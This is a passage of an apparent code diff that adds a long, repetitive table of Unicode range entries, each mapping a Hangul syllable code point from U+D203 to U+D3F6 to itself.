+ ["\uD203", "\uD203"], /* Hangul Syllable */
+ ["\uD204", "\uD204"], /* Hangul Syllable */
+ ["\uD205", "\uD205"], /* Hangul Syllable */
+ ["\uD206", "\uD206"], /* Hangul Syllable */
+ ["\uD207", "\uD207"], /* Hangul Syllable */
+ ["\uD208", "\uD208"], /* Hangul Syllable */
+ ["\uD209", "\uD209"], /* Hangul Syllable */
+ ["\uD20A", "\uD20A"], /* Hangul Syllable */
+ ["\uD20B", "\uD20B"], /* Hangul Syllable */
+ ["\uD20C", "\uD20C"], /* Hangul Syllable */
+ ["\uD20D", "\uD20D"], /* Hangul Syllable */
+ ["\uD20E", "\uD20E"], /* Hangul Syllable */
+ ["\uD20F", "\uD20F"], /* Hangul Syllable */
+ ["\uD210", "\uD210"], /* Hangul Syllable */
+ ["\uD211", "\uD211"], /* Hangul Syllable */
+ ["\uD212", "\uD212"], /* Hangul Syllable */
+ ["\uD213", "\uD213"], /* Hangul Syllable */
+ ["\uD214", "\uD214"], /* Hangul Syllable */
+ ["\uD215", "\uD215"], /* Hangul Syllable */
+ ["\uD216", "\uD216"], /* Hangul Syllable */
+ ["\uD217", "\uD217"], /* Hangul Syllable */
+ ["\uD218", "\uD218"], /* Hangul Syllable */
+ ["\uD219", "\uD219"], /* Hangul Syllable */
+ ["\uD21A", "\uD21A"], /* Hangul Syllable */
+ ["\uD21B", "\uD21B"], /* Hangul Syllable */
+ ["\uD21C", "\uD21C"], /* Hangul Syllable */
+ ["\uD21D", "\uD21D"], /* Hangul Syllable */
+ ["\uD21E", "\uD21E"], /* Hangul Syllable */
+ ["\uD21F", "\uD21F"], /* Hangul Syllable */
+ ["\uD220", "\uD220"], /* Hangul Syllable */
+ ["\uD221", "\uD221"], /* Hangul Syllable */
+ ["\uD222", "\uD222"], /* Hangul Syllable */
+ ["\uD223", "\uD223"], /* Hangul Syllable */
+ ["\uD224", "\uD224"], /* Hangul Syllable */
+ ["\uD225", "\uD225"], /* Hangul Syllable */
+ ["\uD226", "\uD226"], /* Hangul Syllable */
+ ["\uD227", "\uD227"], /* Hangul Syllable */
+ ["\uD228", "\uD228"], /* Hangul Syllable */
+ ["\uD229", "\uD229"], /* Hangul Syllable */
+ ["\uD22A", "\uD22A"], /* Hangul Syllable */
+ ["\uD22B", "\uD22B"], /* Hangul Syllable */
+ ["\uD22C", "\uD22C"], /* Hangul Syllable */
+ ["\uD22D", "\uD22D"], /* Hangul Syllable */
+ ["\uD22E", "\uD22E"], /* Hangul Syllable */
+ ["\uD22F", "\uD22F"], /* Hangul Syllable */
+ ["\uD230", "\uD230"], /* Hangul Syllable */
+ ["\uD231", "\uD231"], /* Hangul Syllable */
+ ["\uD232", "\uD232"], /* Hangul Syllable */
+ ["\uD233", "\uD233"], /* Hangul Syllable */
+ ["\uD234", "\uD234"], /* Hangul Syllable */
+ ["\uD235", "\uD235"], /* Hangul Syllable */
+ ["\uD236", "\uD236"], /* Hangul Syllable */
+ ["\uD237", "\uD237"], /* Hangul Syllable */
+ ["\uD238", "\uD238"], /* Hangul Syllable */
+ ["\uD239", "\uD239"], /* Hangul Syllable */
+ ["\uD23A", "\uD23A"], /* Hangul Syllable */
+ ["\uD23B", "\uD23B"], /* Hangul Syllable */
+ ["\uD23C", "\uD23C"], /* Hangul Syllable */
+ ["\uD23D", "\uD23D"], /* Hangul Syllable */
+ ["\uD23E", "\uD23E"], /* Hangul Syllable */
+ ["\uD23F", "\uD23F"], /* Hangul Syllable */
+ ["\uD240", "\uD240"], /* Hangul Syllable */
+ ["\uD241", "\uD241"], /* Hangul Syllable */
+ ["\uD242", "\uD242"], /* Hangul Syllable */
+ ["\uD243", "\uD243"], /* Hangul Syllable */
+ ["\uD244", "\uD244"], /* Hangul Syllable */
+ ["\uD245", "\uD245"], /* Hangul Syllable */
+ ["\uD246", "\uD246"], /* Hangul Syllable */
+ ["\uD247", "\uD247"], /* Hangul Syllable */
+ ["\uD248", "\uD248"], /* Hangul Syllable */
+ ["\uD249", "\uD249"], /* Hangul Syllable */
+ ["\uD24A", "\uD24A"], /* Hangul Syllable */
+ ["\uD24B", "\uD24B"], /* Hangul Syllable */
+ ["\uD24C", "\uD24C"], /* Hangul Syllable */
+ ["\uD24D", "\uD24D"], /* Hangul Syllable */
+ ["\uD24E", "\uD24E"], /* Hangul Syllable */
+ ["\uD24F", "\uD24F"], /* Hangul Syllable */
+ ["\uD250", "\uD250"], /* Hangul Syllable */
+ ["\uD251", "\uD251"], /* Hangul Syllable */
+ ["\uD252", "\uD252"], /* Hangul Syllable */
+ ["\uD253", "\uD253"], /* Hangul Syllable */
+ ["\uD254", "\uD254"], /* Hangul Syllable */
+ ["\uD255", "\uD255"], /* Hangul Syllable */
+ ["\uD256", "\uD256"], /* Hangul Syllable */
+ ["\uD257", "\uD257"], /* Hangul Syllable */
+ ["\uD258", "\uD258"], /* Hangul Syllable */
+ ["\uD259", "\uD259"], /* Hangul Syllable */
+ ["\uD25A", "\uD25A"], /* Hangul Syllable */
+ ["\uD25B", "\uD25B"], /* Hangul Syllable */
+ ["\uD25C", "\uD25C"], /* Hangul Syllable */
+ ["\uD25D", "\uD25D"], /* Hangul Syllable */
+ ["\uD25E", "\uD25E"], /* Hangul Syllable */
+ ["\uD25F", "\uD25F"], /* Hangul Syllable */
+ ["\uD260", "\uD260"], /* Hangul Syllable */
+ ["\uD261", "\uD261"], /* Hangul Syllable */
+ ["\uD262", "\uD262"], /* Hangul Syllable */
+ ["\uD263", "\uD263"], /* Hangul Syllable */
+ ["\uD264", "\uD264"], /* Hangul Syllable */
+ ["\uD265", "\uD265"], /* Hangul Syllable */
+ ["\uD266", "\uD266"], /* Hangul Syllable */
+ ["\uD267", "\uD267"], /* Hangul Syllable */
+ ["\uD268", "\uD268"], /* Hangul Syllable */
+ ["\uD269", "\uD269"], /* Hangul Syllable */
+ ["\uD26A", "\uD26A"], /* Hangul Syllable */
+ ["\uD26B", "\uD26B"], /* Hangul Syllable */
+ ["\uD26C", "\uD26C"], /* Hangul Syllable */
+ ["\uD26D", "\uD26D"], /* Hangul Syllable */
+ ["\uD26E", "\uD26E"], /* Hangul Syllable */
+ ["\uD26F", "\uD26F"], /* Hangul Syllable */
+ ["\uD270", "\uD270"], /* Hangul Syllable */
+ ["\uD271", "\uD271"], /* Hangul Syllable */
+ ["\uD272", "\uD272"], /* Hangul Syllable */
+ ["\uD273", "\uD273"], /* Hangul Syllable */
+ ["\uD274", "\uD274"], /* Hangul Syllable */
+ ["\uD275", "\uD275"], /* Hangul Syllable */
+ ["\uD276", "\uD276"], /* Hangul Syllable */
+ ["\uD277", "\uD277"], /* Hangul Syllable */
+ ["\uD278", "\uD278"], /* Hangul Syllable */
+ ["\uD279", "\uD279"], /* Hangul Syllable */
+ ["\uD27A", "\uD27A"], /* Hangul Syllable */
+ ["\uD27B", "\uD27B"], /* Hangul Syllable */
+ ["\uD27C", "\uD27C"], /* Hangul Syllable */
+ ["\uD27D", "\uD27D"], /* Hangul Syllable */
+ ["\uD27E", "\uD27E"], /* Hangul Syllable */
+ ["\uD27F", "\uD27F"], /* Hangul Syllable */
+ ["\uD280", "\uD280"], /* Hangul Syllable */
+ ["\uD281", "\uD281"], /* Hangul Syllable */
+ ["\uD282", "\uD282"], /* Hangul Syllable */
+ ["\uD283", "\uD283"], /* Hangul Syllable */
+ ["\uD284", "\uD284"], /* Hangul Syllable */
+ ["\uD285", "\uD285"], /* Hangul Syllable */
+ ["\uD286", "\uD286"], /* Hangul Syllable */
+ ["\uD287", "\uD287"], /* Hangul Syllable */
+ ["\uD288", "\uD288"], /* Hangul Syllable */
+ ["\uD289", "\uD289"], /* Hangul Syllable */
+ ["\uD28A", "\uD28A"], /* Hangul Syllable */
+ ["\uD28B", "\uD28B"], /* Hangul Syllable */
+ ["\uD28C", "\uD28C"], /* Hangul Syllable */
+ ["\uD28D", "\uD28D"], /* Hangul Syllable */
+ ["\uD28E", "\uD28E"], /* Hangul Syllable */
+ ["\uD28F", "\uD28F"], /* Hangul Syllable */
+ ["\uD290", "\uD290"], /* Hangul Syllable */
+ ["\uD291", "\uD291"], /* Hangul Syllable */
+ ["\uD292", "\uD292"], /* Hangul Syllable */
+ ["\uD293", "\uD293"], /* Hangul Syllable */
+ ["\uD294", "\uD294"], /* Hangul Syllable */
+ ["\uD295", "\uD295"], /* Hangul Syllable */
+ ["\uD296", "\uD296"], /* Hangul Syllable */
+ ["\uD297", "\uD297"], /* Hangul Syllable */
+ ["\uD298", "\uD298"], /* Hangul Syllable */
+ ["\uD299", "\uD299"], /* Hangul Syllable */
+ ["\uD29A", "\uD29A"], /* Hangul Syllable */
+ ["\uD29B", "\uD29B"], /* Hangul Syllable */
+ ["\uD29C", "\uD29C"], /* Hangul Syllable */
+ ["\uD29D", "\uD29D"], /* Hangul Syllable */
+ ["\uD29E", "\uD29E"], /* Hangul Syllable */
+ ["\uD29F", "\uD29F"], /* Hangul Syllable */
+ ["\uD2A0", "\uD2A0"], /* Hangul Syllable */
+ ["\uD2A1", "\uD2A1"], /* Hangul Syllable */
+ ["\uD2A2", "\uD2A2"], /* Hangul Syllable */
+ ["\uD2A3", "\uD2A3"], /* Hangul Syllable */
+ ["\uD2A4", "\uD2A4"], /* Hangul Syllable */
+ ["\uD2A5", "\uD2A5"], /* Hangul Syllable */
+ ["\uD2A6", "\uD2A6"], /* Hangul Syllable */
+ ["\uD2A7", "\uD2A7"], /* Hangul Syllable */
+ ["\uD2A8", "\uD2A8"], /* Hangul Syllable */
+ ["\uD2A9", "\uD2A9"], /* Hangul Syllable */
+ ["\uD2AA", "\uD2AA"], /* Hangul Syllable */
+ ["\uD2AB", "\uD2AB"], /* Hangul Syllable */
+ ["\uD2AC", "\uD2AC"], /* Hangul Syllable */
+ ["\uD2AD", "\uD2AD"], /* Hangul Syllable */
+ ["\uD2AE", "\uD2AE"], /* Hangul Syllable */
+ ["\uD2AF", "\uD2AF"], /* Hangul Syllable */
+ ["\uD2B0", "\uD2B0"], /* Hangul Syllable */
+ ["\uD2B1", "\uD2B1"], /* Hangul Syllable */
+ ["\uD2B2", "\uD2B2"], /* Hangul Syllable */
+ ["\uD2B3", "\uD2B3"], /* Hangul Syllable */
+ ["\uD2B4", "\uD2B4"], /* Hangul Syllable */
+ ["\uD2B5", "\uD2B5"], /* Hangul Syllable */
+ ["\uD2B6", "\uD2B6"], /* Hangul Syllable */
+ ["\uD2B7", "\uD2B7"], /* Hangul Syllable */
+ ["\uD2B8", "\uD2B8"], /* Hangul Syllable */
+ ["\uD2B9", "\uD2B9"], /* Hangul Syllable */
+ ["\uD2BA", "\uD2BA"], /* Hangul Syllable */
+ ["\uD2BB", "\uD2BB"], /* Hangul Syllable */
+ ["\uD2BC", "\uD2BC"], /* Hangul Syllable */
+ ["\uD2BD", "\uD2BD"], /* Hangul Syllable */
+ ["\uD2BE", "\uD2BE"], /* Hangul Syllable */
+ ["\uD2BF", "\uD2BF"], /* Hangul Syllable */
+ ["\uD2C0", "\uD2C0"], /* Hangul Syllable */
+ ["\uD2C1", "\uD2C1"], /* Hangul Syllable */
+ ["\uD2C2", "\uD2C2"], /* Hangul Syllable */
+ ["\uD2C3", "\uD2C3"], /* Hangul Syllable */
+ ["\uD2C4", "\uD2C4"], /* Hangul Syllable */
+ ["\uD2C5", "\uD2C5"], /* Hangul Syllable */
+ ["\uD2C6", "\uD2C6"], /* Hangul Syllable */
+ ["\uD2C7", "\uD2C7"], /* Hangul Syllable */
+ ["\uD2C8", "\uD2C8"], /* Hangul Syllable */
+ ["\uD2C9", "\uD2C9"], /* Hangul Syllable */
+ ["\uD2CA", "\uD2CA"], /* Hangul Syllable */
+ ["\uD2CB", "\uD2CB"], /* Hangul Syllable */
+ ["\uD2CC", "\uD2CC"], /* Hangul Syllable */
+ ["\uD2CD", "\uD2CD"], /* Hangul Syllable */
+ ["\uD2CE", "\uD2CE"], /* Hangul Syllable */
+ ["\uD2CF", "\uD2CF"], /* Hangul Syllable */
+ ["\uD2D0", "\uD2D0"], /* Hangul Syllable */
+ ["\uD2D1", "\uD2D1"], /* Hangul Syllable */
+ ["\uD2D2", "\uD2D2"], /* Hangul Syllable */
+ ["\uD2D3", "\uD2D3"], /* Hangul Syllable */
+ ["\uD2D4", "\uD2D4"], /* Hangul Syllable */
+ ["\uD2D5", "\uD2D5"], /* Hangul Syllable */
+ ["\uD2D6", "\uD2D6"], /* Hangul Syllable */
+ ["\uD2D7", "\uD2D7"], /* Hangul Syllable */
+ ["\uD2D8", "\uD2D8"], /* Hangul Syllable */
+ ["\uD2D9", "\uD2D9"], /* Hangul Syllable */
+ ["\uD2DA", "\uD2DA"], /* Hangul Syllable */
+ ["\uD2DB", "\uD2DB"], /* Hangul Syllable */
+ ["\uD2DC", "\uD2DC"], /* Hangul Syllable */
+ ["\uD2DD", "\uD2DD"], /* Hangul Syllable */
+ ["\uD2DE", "\uD2DE"], /* Hangul Syllable */
+ ["\uD2DF", "\uD2DF"], /* Hangul Syllable */
+ ["\uD2E0", "\uD2E0"], /* Hangul Syllable */
+ ["\uD2E1", "\uD2E1"], /* Hangul Syllable */
+ ["\uD2E2", "\uD2E2"], /* Hangul Syllable */
+ ["\uD2E3", "\uD2E3"], /* Hangul Syllable */
+ ["\uD2E4", "\uD2E4"], /* Hangul Syllable */
+ ["\uD2E5", "\uD2E5"], /* Hangul Syllable */
+ ["\uD2E6", "\uD2E6"], /* Hangul Syllable */
+ ["\uD2E7", "\uD2E7"], /* Hangul Syllable */
+ ["\uD2E8", "\uD2E8"], /* Hangul Syllable */
+ ["\uD2E9", "\uD2E9"], /* Hangul Syllable */
+ ["\uD2EA", "\uD2EA"], /* Hangul Syllable */
+ ["\uD2EB", "\uD2EB"], /* Hangul Syllable */
+ ["\uD2EC", "\uD2EC"], /* Hangul Syllable */
+ ["\uD2ED", "\uD2ED"], /* Hangul Syllable */
+ ["\uD2EE", "\uD2EE"], /* Hangul Syllable */
+ ["\uD2EF", "\uD2EF"], /* Hangul Syllable */
+ ["\uD2F0", "\uD2F0"], /* Hangul Syllable */
+ ["\uD2F1", "\uD2F1"], /* Hangul Syllable */
+ ["\uD2F2", "\uD2F2"], /* Hangul Syllable */
+ ["\uD2F3", "\uD2F3"], /* Hangul Syllable */
+ ["\uD2F4", "\uD2F4"], /* Hangul Syllable */
+ ["\uD2F5", "\uD2F5"], /* Hangul Syllable */
+ ["\uD2F6", "\uD2F6"], /* Hangul Syllable */
+ ["\uD2F7", "\uD2F7"], /* Hangul Syllable */
+ ["\uD2F8", "\uD2F8"], /* Hangul Syllable */
+ ["\uD2F9", "\uD2F9"], /* Hangul Syllable */
+ ["\uD2FA", "\uD2FA"], /* Hangul Syllable */
+ ["\uD2FB", "\uD2FB"], /* Hangul Syllable */
+ ["\uD2FC", "\uD2FC"], /* Hangul Syllable */
+ ["\uD2FD", "\uD2FD"], /* Hangul Syllable */
+ ["\uD2FE", "\uD2FE"], /* Hangul Syllable */
+ ["\uD2FF", "\uD2FF"], /* Hangul Syllable */
+ ["\uD300", "\uD300"], /* Hangul Syllable */
+ ["\uD301", "\uD301"], /* Hangul Syllable */
+ ["\uD302", "\uD302"], /* Hangul Syllable */
+ ["\uD303", "\uD303"], /* Hangul Syllable */
+ ["\uD304", "\uD304"], /* Hangul Syllable */
+ ["\uD305", "\uD305"], /* Hangul Syllable */
+ ["\uD306", "\uD306"], /* Hangul Syllable */
+ ["\uD307", "\uD307"], /* Hangul Syllable */
+ ["\uD308", "\uD308"], /* Hangul Syllable */
+ ["\uD309", "\uD309"], /* Hangul Syllable */
+ ["\uD30A", "\uD30A"], /* Hangul Syllable */
+ ["\uD30B", "\uD30B"], /* Hangul Syllable */
+ ["\uD30C", "\uD30C"], /* Hangul Syllable */
+ ["\uD30D", "\uD30D"], /* Hangul Syllable */
+ ["\uD30E", "\uD30E"], /* Hangul Syllable */
+ ["\uD30F", "\uD30F"], /* Hangul Syllable */
+ ["\uD310", "\uD310"], /* Hangul Syllable */
+ ["\uD311", "\uD311"], /* Hangul Syllable */
+ ["\uD312", "\uD312"], /* Hangul Syllable */
+ ["\uD313", "\uD313"], /* Hangul Syllable */
+ ["\uD314", "\uD314"], /* Hangul Syllable */
+ ["\uD315", "\uD315"], /* Hangul Syllable */
+ ["\uD316", "\uD316"], /* Hangul Syllable */
+ ["\uD317", "\uD317"], /* Hangul Syllable */
+ ["\uD318", "\uD318"], /* Hangul Syllable */
+ ["\uD319", "\uD319"], /* Hangul Syllable */
+ ["\uD31A", "\uD31A"], /* Hangul Syllable */
+ ["\uD31B", "\uD31B"], /* Hangul Syllable */
+ ["\uD31C", "\uD31C"], /* Hangul Syllable */
+ ["\uD31D", "\uD31D"], /* Hangul Syllable */
+ ["\uD31E", "\uD31E"], /* Hangul Syllable */
+ ["\uD31F", "\uD31F"], /* Hangul Syllable */
+ ["\uD320", "\uD320"], /* Hangul Syllable */
+ ["\uD321", "\uD321"], /* Hangul Syllable */
+ ["\uD322", "\uD322"], /* Hangul Syllable */
+ ["\uD323", "\uD323"], /* Hangul Syllable */
+ ["\uD324", "\uD324"], /* Hangul Syllable */
+ ["\uD325", "\uD325"], /* Hangul Syllable */
+ ["\uD326", "\uD326"], /* Hangul Syllable */
+ ["\uD327", "\uD327"], /* Hangul Syllable */
+ ["\uD328", "\uD328"], /* Hangul Syllable */
+ ["\uD329", "\uD329"], /* Hangul Syllable */
+ ["\uD32A", "\uD32A"], /* Hangul Syllable */
+ ["\uD32B", "\uD32B"], /* Hangul Syllable */
+ ["\uD32C", "\uD32C"], /* Hangul Syllable */
+ ["\uD32D", "\uD32D"], /* Hangul Syllable */
+ ["\uD32E", "\uD32E"], /* Hangul Syllable */
+ ["\uD32F", "\uD32F"], /* Hangul Syllable */
+ ["\uD330", "\uD330"], /* Hangul Syllable */
+ ["\uD331", "\uD331"], /* Hangul Syllable */
+ ["\uD332", "\uD332"], /* Hangul Syllable */
+ ["\uD333", "\uD333"], /* Hangul Syllable */
+ ["\uD334", "\uD334"], /* Hangul Syllable */
+ ["\uD335", "\uD335"], /* Hangul Syllable */
+ ["\uD336", "\uD336"], /* Hangul Syllable */
+ ["\uD337", "\uD337"], /* Hangul Syllable */
+ ["\uD338", "\uD338"], /* Hangul Syllable */
+ ["\uD339", "\uD339"], /* Hangul Syllable */
+ ["\uD33A", "\uD33A"], /* Hangul Syllable */
+ ["\uD33B", "\uD33B"], /* Hangul Syllable */
+ ["\uD33C", "\uD33C"], /* Hangul Syllable */
+ ["\uD33D", "\uD33D"], /* Hangul Syllable */
+ ["\uD33E", "\uD33E"], /* Hangul Syllable */
+ ["\uD33F", "\uD33F"], /* Hangul Syllable */
+ ["\uD340", "\uD340"], /* Hangul Syllable */
+ ["\uD341", "\uD341"], /* Hangul Syllable */
+ ["\uD342", "\uD342"], /* Hangul Syllable */
+ ["\uD343", "\uD343"], /* Hangul Syllable */
+ ["\uD344", "\uD344"], /* Hangul Syllable */
+ ["\uD345", "\uD345"], /* Hangul Syllable */
+ ["\uD346", "\uD346"], /* Hangul Syllable */
+ ["\uD347", "\uD347"], /* Hangul Syllable */
+ ["\uD348", "\uD348"], /* Hangul Syllable */
+ ["\uD349", "\uD349"], /* Hangul Syllable */
+ ["\uD34A", "\uD34A"], /* Hangul Syllable */
+ ["\uD34B", "\uD34B"], /* Hangul Syllable */
+ ["\uD34C", "\uD34C"], /* Hangul Syllable */
+ ["\uD34D", "\uD34D"], /* Hangul Syllable */
+ ["\uD34E", "\uD34E"], /* Hangul Syllable */
+ ["\uD34F", "\uD34F"], /* Hangul Syllable */
+ ["\uD350", "\uD350"], /* Hangul Syllable */
+ ["\uD351", "\uD351"], /* Hangul Syllable */
+ ["\uD352", "\uD352"], /* Hangul Syllable */
+ ["\uD353", "\uD353"], /* Hangul Syllable */
+ ["\uD354", "\uD354"], /* Hangul Syllable */
+ ["\uD355", "\uD355"], /* Hangul Syllable */
+ ["\uD356", "\uD356"], /* Hangul Syllable */
+ ["\uD357", "\uD357"], /* Hangul Syllable */
+ ["\uD358", "\uD358"], /* Hangul Syllable */
+ ["\uD359", "\uD359"], /* Hangul Syllable */
+ ["\uD35A", "\uD35A"], /* Hangul Syllable */
+ ["\uD35B", "\uD35B"], /* Hangul Syllable */
+ ["\uD35C", "\uD35C"], /* Hangul Syllable */
+ ["\uD35D", "\uD35D"], /* Hangul Syllable */
+ ["\uD35E", "\uD35E"], /* Hangul Syllable */
+ ["\uD35F", "\uD35F"], /* Hangul Syllable */
+ ["\uD360", "\uD360"], /* Hangul Syllable */
+ ["\uD361", "\uD361"], /* Hangul Syllable */
+ ["\uD362", "\uD362"], /* Hangul Syllable */
+ ["\uD363", "\uD363"], /* Hangul Syllable */
+ ["\uD364", "\uD364"], /* Hangul Syllable */
+ ["\uD365", "\uD365"], /* Hangul Syllable */
+ ["\uD366", "\uD366"], /* Hangul Syllable */
+ ["\uD367", "\uD367"], /* Hangul Syllable */
+ ["\uD368", "\uD368"], /* Hangul Syllable */
+ ["\uD369", "\uD369"], /* Hangul Syllable */
+ ["\uD36A", "\uD36A"], /* Hangul Syllable */
+ ["\uD36B", "\uD36B"], /* Hangul Syllable */
+ ["\uD36C", "\uD36C"], /* Hangul Syllable */
+ ["\uD36D", "\uD36D"], /* Hangul Syllable */
+ ["\uD36E", "\uD36E"], /* Hangul Syllable */
+ ["\uD36F", "\uD36F"], /* Hangul Syllable */
+ ["\uD370", "\uD370"], /* Hangul Syllable */
+ ["\uD371", "\uD371"], /* Hangul Syllable */
+ ["\uD372", "\uD372"], /* Hangul Syllable */
+ ["\uD373", "\uD373"], /* Hangul Syllable */
+ ["\uD374", "\uD374"], /* Hangul Syllable */
+ ["\uD375", "\uD375"], /* Hangul Syllable */
+ ["\uD376", "\uD376"], /* Hangul Syllable */
+ ["\uD377", "\uD377"], /* Hangul Syllable */
+ ["\uD378", "\uD378"], /* Hangul Syllable */
+ ["\uD379", "\uD379"], /* Hangul Syllable */
+ ["\uD37A", "\uD37A"], /* Hangul Syllable */
+ ["\uD37B", "\uD37B"], /* Hangul Syllable */
+ ["\uD37C", "\uD37C"], /* Hangul Syllable */
+ ["\uD37D", "\uD37D"], /* Hangul Syllable */
+ ["\uD37E", "\uD37E"], /* Hangul Syllable */
+ ["\uD37F", "\uD37F"], /* Hangul Syllable */
+ ["\uD380", "\uD380"], /* Hangul Syllable */
+ ["\uD381", "\uD381"], /* Hangul Syllable */
+ ["\uD382", "\uD382"], /* Hangul Syllable */
+ ["\uD383", "\uD383"], /* Hangul Syllable */
+ ["\uD384", "\uD384"], /* Hangul Syllable */
+ ["\uD385", "\uD385"], /* Hangul Syllable */
+ ["\uD386", "\uD386"], /* Hangul Syllable */
+ ["\uD387", "\uD387"], /* Hangul Syllable */
+ ["\uD388", "\uD388"], /* Hangul Syllable */
+ ["\uD389", "\uD389"], /* Hangul Syllable */
+ ["\uD38A", "\uD38A"], /* Hangul Syllable */
+ ["\uD38B", "\uD38B"], /* Hangul Syllable */
+ ["\uD38C", "\uD38C"], /* Hangul Syllable */
+ ["\uD38D", "\uD38D"], /* Hangul Syllable */
+ ["\uD38E", "\uD38E"], /* Hangul Syllable */
+ ["\uD38F", "\uD38F"], /* Hangul Syllable */
+ ["\uD390", "\uD390"], /* Hangul Syllable */
+ ["\uD391", "\uD391"], /* Hangul Syllable */
+ ["\uD392", "\uD392"], /* Hangul Syllable */
+ ["\uD393", "\uD393"], /* Hangul Syllable */
+ ["\uD394", "\uD394"], /* Hangul Syllable */
+ ["\uD395", "\uD395"], /* Hangul Syllable */
+ ["\uD396", "\uD396"], /* Hangul Syllable */
+ ["\uD397", "\uD397"], /* Hangul Syllable */
+ ["\uD398", "\uD398"], /* Hangul Syllable */
+ ["\uD399", "\uD399"], /* Hangul Syllable */
+ ["\uD39A", "\uD39A"], /* Hangul Syllable */
+ ["\uD39B", "\uD39B"], /* Hangul Syllable */
+ ["\uD39C", "\uD39C"], /* Hangul Syllable */
+ ["\uD39D", "\uD39D"], /* Hangul Syllable */
+ ["\uD39E", "\uD39E"], /* Hangul Syllable */
+ ["\uD39F", "\uD39F"], /* Hangul Syllable */
+ ["\uD3A0", "\uD3A0"], /* Hangul Syllable */
+ ["\uD3A1", "\uD3A1"], /* Hangul Syllable */
+ ["\uD3A2", "\uD3A2"], /* Hangul Syllable */
+ ["\uD3A3", "\uD3A3"], /* Hangul Syllable */
+ ["\uD3A4", "\uD3A4"], /* Hangul Syllable */
+ ["\uD3A5", "\uD3A5"], /* Hangul Syllable */
+ ["\uD3A6", "\uD3A6"], /* Hangul Syllable */
+ ["\uD3A7", "\uD3A7"], /* Hangul Syllable */
+ ["\uD3A8", "\uD3A8"], /* Hangul Syllable */
+ ["\uD3A9", "\uD3A9"], /* Hangul Syllable */
+ ["\uD3AA", "\uD3AA"], /* Hangul Syllable */
+ ["\uD3AB", "\uD3AB"], /* Hangul Syllable */
+ ["\uD3AC", "\uD3AC"], /* Hangul Syllable */
+ ["\uD3AD", "\uD3AD"], /* Hangul Syllable */
+ ["\uD3AE", "\uD3AE"], /* Hangul Syllable */
+ ["\uD3AF", "\uD3AF"], /* Hangul Syllable */
+ ["\uD3B0", "\uD3B0"], /* Hangul Syllable */
+ ["\uD3B1", "\uD3B1"], /* Hangul Syllable */
+ ["\uD3B2", "\uD3B2"], /* Hangul Syllable */
+ ["\uD3B3", "\uD3B3"], /* Hangul Syllable */
+ ["\uD3B4", "\uD3B4"], /* Hangul Syllable */
+ ["\uD3B5", "\uD3B5"], /* Hangul Syllable */
+ ["\uD3B6", "\uD3B6"], /* Hangul Syllable */
+ ["\uD3B7", "\uD3B7"], /* Hangul Syllable */
+ ["\uD3B8", "\uD3B8"], /* Hangul Syllable */
+ ["\uD3B9", "\uD3B9"], /* Hangul Syllable */
+ ["\uD3BA", "\uD3BA"], /* Hangul Syllable */
+ ["\uD3BB", "\uD3BB"], /* Hangul Syllable */
+ ["\uD3BC", "\uD3BC"], /* Hangul Syllable */
+ ["\uD3BD", "\uD3BD"], /* Hangul Syllable */
+ ["\uD3BE", "\uD3BE"], /* Hangul Syllable */
+ ["\uD3BF", "\uD3BF"], /* Hangul Syllable */
+ ["\uD3C0", "\uD3C0"], /* Hangul Syllable */
+ ["\uD3C1", "\uD3C1"], /* Hangul Syllable */
+ ["\uD3C2", "\uD3C2"], /* Hangul Syllable */
+ ["\uD3C3", "\uD3C3"], /* Hangul Syllable */
+ ["\uD3C4", "\uD3C4"], /* Hangul Syllable */
+ ["\uD3C5", "\uD3C5"], /* Hangul Syllable */
+ ["\uD3C6", "\uD3C6"], /* Hangul Syllable */
+ ["\uD3C7", "\uD3C7"], /* Hangul Syllable */
+ ["\uD3C8", "\uD3C8"], /* Hangul Syllable */
+ ["\uD3C9", "\uD3C9"], /* Hangul Syllable */
+ ["\uD3CA", "\uD3CA"], /* Hangul Syllable */
+ ["\uD3CB", "\uD3CB"], /* Hangul Syllable */
+ ["\uD3CC", "\uD3CC"], /* Hangul Syllable */
+ ["\uD3CD", "\uD3CD"], /* Hangul Syllable */
+ ["\uD3CE", "\uD3CE"], /* Hangul Syllable */
+ ["\uD3CF", "\uD3CF"], /* Hangul Syllable */
+ ["\uD3D0", "\uD3D0"], /* Hangul Syllable */
+ ["\uD3D1", "\uD3D1"], /* Hangul Syllable */
+ ["\uD3D2", "\uD3D2"], /* Hangul Syllable */
+ ["\uD3D3", "\uD3D3"], /* Hangul Syllable */
+ ["\uD3D4", "\uD3D4"], /* Hangul Syllable */
+ ["\uD3D5", "\uD3D5"], /* Hangul Syllable */
+ ["\uD3D6", "\uD3D6"], /* Hangul Syllable */
+ ["\uD3D7", "\uD3D7"], /* Hangul Syllable */
+ ["\uD3D8", "\uD3D8"], /* Hangul Syllable */
+ ["\uD3D9", "\uD3D9"], /* Hangul Syllable */
+ ["\uD3DA", "\uD3DA"], /* Hangul Syllable */
+ ["\uD3DB", "\uD3DB"], /* Hangul Syllable */
+ ["\uD3DC", "\uD3DC"], /* Hangul Syllable */
+ ["\uD3DD", "\uD3DD"], /* Hangul Syllable */
+ ["\uD3DE", "\uD3DE"], /* Hangul Syllable */
+ ["\uD3DF", "\uD3DF"], /* Hangul Syllable */
+ ["\uD3E0", "\uD3E0"], /* Hangul Syllable */
+ ["\uD3E1", "\uD3E1"], /* Hangul Syllable */
+ ["\uD3E2", "\uD3E2"], /* Hangul Syllable */
+ ["\uD3E3", "\uD3E3"], /* Hangul Syllable */
+ ["\uD3E4", "\uD3E4"], /* Hangul Syllable */
+ ["\uD3E5", "\uD3E5"], /* Hangul Syllable */
+ ["\uD3E6", "\uD3E6"], /* Hangul Syllable */
+ ["\uD3E7", "\uD3E7"], /* Hangul Syllable */
+ ["\uD3E8", "\uD3E8"], /* Hangul Syllable */
+ ["\uD3E9", "\uD3E9"], /* Hangul Syllable */
+ ["\uD3EA", "\uD3EA"], /* Hangul Syllable */
+ ["\uD3EB", "\uD3EB"], /* Hangul Syllable */
+ ["\uD3EC", "\uD3EC"], /* Hangul Syllable */
+ ["\uD3ED", "\uD3ED"], /* Hangul Syllable */
+ ["\uD3EE", "\uD3EE"], /* Hangul Syllable */
+ ["\uD3EF", "\uD3EF"], /* Hangul Syllable */
+ ["\uD3F0", "\uD3F0"], /* Hangul Syllable */
+ ["\uD3F1", "\uD3F1"], /* Hangul Syllable */
+ ["\uD3F2", "\uD3F2"], /* Hangul Syllable */
+ ["\uD3F3", "\uD3F3"], /* Hangul Syllable */
+ ["\uD3F4", "\uD3F4"], /* Hangul Syllable */
+ ["\uD3F5", "\uD3F5"], /* Hangul Syllable */
+ ["\uD3F6", "\uD3F6"], /* Hangul Syllable */
